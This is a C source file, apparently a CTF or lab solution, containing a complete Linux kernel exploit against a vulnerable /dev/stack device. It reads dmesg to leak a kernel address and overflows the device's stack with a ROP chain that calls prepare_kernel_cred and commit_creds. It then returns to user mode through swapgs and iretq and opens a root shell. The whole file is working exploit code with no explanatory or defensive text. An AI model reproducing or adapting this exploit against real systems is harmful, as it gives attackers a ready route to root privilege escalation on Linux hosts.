1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229
| #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/mman.h> #include <assert.h>
unsigned long user_cs; unsigned long user_ss; unsigned long user_rflags; unsigned long stack;
unsigned long findAddr(); static void save_state(); void shell(void);
int main(int argc, char *argv[]) { int fd; unsigned char payload[300] = {0}; unsigned char *p = payload; unsigned long memOffset;
memOffset = findAddr(); unsigned long pop_rdi_ret = memOffset - 0xD17AF3; unsigned long pop_rdx_rbx_rbp_ret = (unsigned long)memOffset-0xCB43CD; unsigned long pop_rbp_ret = memOffset - 0xCB43CB; unsigned long movRdiRax_call_rdx = (unsigned long)memOffset-0xF8F3AA; unsigned long prepare_kernel_cred_k = (unsigned long)memOffset-0xFBF2E0; unsigned long commit_creds_k = (unsigned long)memOffset-0xFBF6A0; unsigned long swapgs = (unsigned long)memOffset-0x7AAE78; unsigned long iretq = (unsigned long)memOffset-0x7AC289; unsigned long sh = (unsigned long)shell;
printf(" addr[0x%llx]\n", memOffset);
printf("[+] Open vuln device...\n"); if ((fd = open("/dev/stack", O_RDWR)) < 0) { printf(" Can't open device file: /dev/stack\n"); exit(1); }
printf("[+] Construct the payload...\n"); save_state(); memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116); p+=116;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); p+=8;
printf(" pop rdi at 0x%lx\n", pop_rdi_ret); memcpy(p,&pop_rdi_ret,8); p+=8; memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); p+=8;
printf(" prepare_kernel_cred_k_addr at 0x%lx\n", prepare_kernel_cred_k); memcpy(p,&prepare_kernel_cred_k,8); p+=8;
printf(" pop_rdx_rbx_rbp_ret at 0x%lx\n", pop_rdx_rbx_rbp_ret); memcpy(p,&pop_rdx_rbx_rbp_ret,8); p+=8;
printf(" pop_rbp_ret at 0x%lx\n", pop_rbp_ret); memcpy(p,&pop_rbp_ret,8); p+=8; memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); p+=8; memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); p+=8;
printf(" mov rdi,rax;call_rdx at 0x%lx\n", movRdiRax_call_rdx); memcpy(p,&movRdiRax_call_rdx,8); p+=8;
printf(" commit_creds_k at 0x%lx\n", commit_creds_k); memcpy(p,&commit_creds_k,8); p+=8;
printf(" swapgs at 0x%lx\n", swapgs); memcpy(p,&swapgs,8); p+=8;
printf(" iretq at 0x%lx\n", iretq); memcpy(p,&iretq,8); p+=8;
memcpy(p,&sh,8); p+=8;
memcpy(p,&user_cs,8); p+=8; memcpy(p,&user_rflags,8); p+=8; register unsigned long rsp asm("rsp"); unsigned long sp = (unsigned long)rsp; memcpy(p,&sp,8); p+=8; memcpy(p,&user_ss,8);
printf("[+] Trig the vulnerablity...\n"); write(fd, payload, 300);
return 0;
}
unsigned long findAddr() { char line[512]; char string[] = "Freeing SMP alternatives memory"; char found[17]; unsigned long addr=0;
printf("[+] Excecute dmesg...\n"); system("dmesg > /tmp/dmesg");
printf("[+] Find usefull addr...\n");
FILE* file = fopen("/tmp/dmesg", "r");
while (fgets(line, sizeof(line), file)) { if(strstr(line,string)) { strncpy(found,line+53,16); sscanf(found,"%p",(void **)&addr); break; } } fclose(file);
if(addr==0) { printf(" dmesg error...\n"); exit(1); }
return addr; }
static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); }
void shell(void) { printf("[+] getuid() ..."); if(!getuid()) { printf(" [root]\n[+] Enjoy your shell...\n"); system("/bin/sh"); } else { printf("[+] not root\n[+] failed !!!\n"); } }
|